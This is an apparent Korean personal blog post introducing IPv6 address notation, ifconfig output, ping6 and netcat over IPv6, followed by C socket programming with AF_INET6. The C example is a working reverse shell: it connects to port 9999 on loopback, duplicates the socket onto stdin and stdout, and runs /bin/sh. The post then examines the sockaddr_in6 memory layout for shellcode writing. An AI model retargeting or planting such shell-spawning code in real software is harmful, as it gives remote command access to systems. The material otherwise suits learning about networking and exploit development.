IPv6 를 사용하는것은 생각보다 어렵지 않다.
- IPv6 주소 기본
1. 16bit(2byte) 씩 HEX 표기 8개가 : 으로 구분되어있다.
0000 : 1111 : 2222 : 3333 : 4444 : aaaa : bbbb : cccc
그냥 md5 의 2바이트마다 : 가 껴있다고 생각하면 쉽다.
2. 콜론 사이의 한 그룹의 HEX 표기에서 0 prefix 는 생략한다
예를들어 : 0b41 : 같은경우 : b41 : 로 표기
3. 하나 이상의 HEX 그룹이 0 으로 채워진경우 :: 으로 생략가능
예를들어 0000 : 0000 : 0000 : 0000 : 1234 : 2345 : 3456 : 4567 는
:: 1234 : 2345 : 3456 : 4567 이런식으로...
그리고 :: 생략은 주소의 0 이 가장 많은 한부분밖에 할수없음.
4. 루프백주소는 ::1 이다.
root@ubuntu:/var/www/tmp# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:3f:d0:fb
inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe3f:d0fb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:27901 errors:0 dropped:0 overruns:0 frame:0
TX packets:15995 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:19708188 (19.7 MB) TX bytes:2188922 (2.1 MB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:4400 errors:0 dropped:0 overruns:0 frame:0
TX packets:4400 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:409927 (409.9 KB) TX bytes:409927 (409.9 KB)
5. ping6 를 통해 ip6 주소에 ping 을 날릴수 있다(루트권한필요)
그리고 nc 의 경우 -6 옵션을 주면 ip6 주소로 listen 할 수 있다.
nc client 쪽에서는 그냥 v6 주소를 명시하면 알아서 v6 로 접속한다.
[클라이언트]
root@ubuntu:/var/www/tmp# nc ::1 9999
asdf
root@ubuntu:/home/declspec# nc -lv -6 9999
Connection from 0.0.0.0 port 9999 [tcp/*] accepted
asdf
프로그래밍적으로 볼때의 IPv6
1. socket 을 만들때 AF_INET 을 AF_INET6 로만 바꿔주면 되는데
상수로서는 2 -> 10 으로 바꾸면된다.
2. sockaddr_in 구조체가 V6 용으로 바뀌는데 아래의 코드처럼 해주면된다.
#include <stdio.h>
#include <netinet/in.h>
char* args[] = {"/bin/sh", 0};
int main(){
int fd = socket(PF_INET6, SOCK_STREAM, IPPROTO_IP);
printf("fd : %d\n", fd);
struct sockaddr_in6 sin6;
sin6.sin6_family = AF_INET6;
sin6.sin6_flowinfo = 0;
sin6.sin6_port = htons(9999);
sin6.sin6_addr = in6addr_loopback;
connect(fd, (struct sockaddr *)&sin6, 28);
dup2(fd, 0);
dup2(fd, 1);
execve(args[0], args, 0);
return 0;
}
3. 쉘코드적인 측면에서 볼때 sockaddr_in6 내용은 아래와 같다.
(gdb) x/20x 0xbffff320
0xbffff320: 0xbbbb000a 0x00000000 0x00000000 0x00000000
0xbffff330: 0x00000000 0x01000000
메모리상으로 보면 [AF_INET6][PORT][IPv6 addr] 의 순서로 24바이트가 채워진다.
그런데 왜인지는 모르겠지만 connect 의 size 인자로는 28바이트를 넘겨줘야한다.
'Programming' 카테고리의 다른 글
Extracting Kernel ELF image from bzImage (0) | 2013.08.09 |
---|---|
Compile a x86 vanilla Linux and test with QEMU (0) | 2013.08.08 |
Linux ARM system call table (0) | 2013.07.18 |
Linux x64 system call table (0) | 2013.07.17 |
Linux configuration stuff (0) | 2013.07.10 |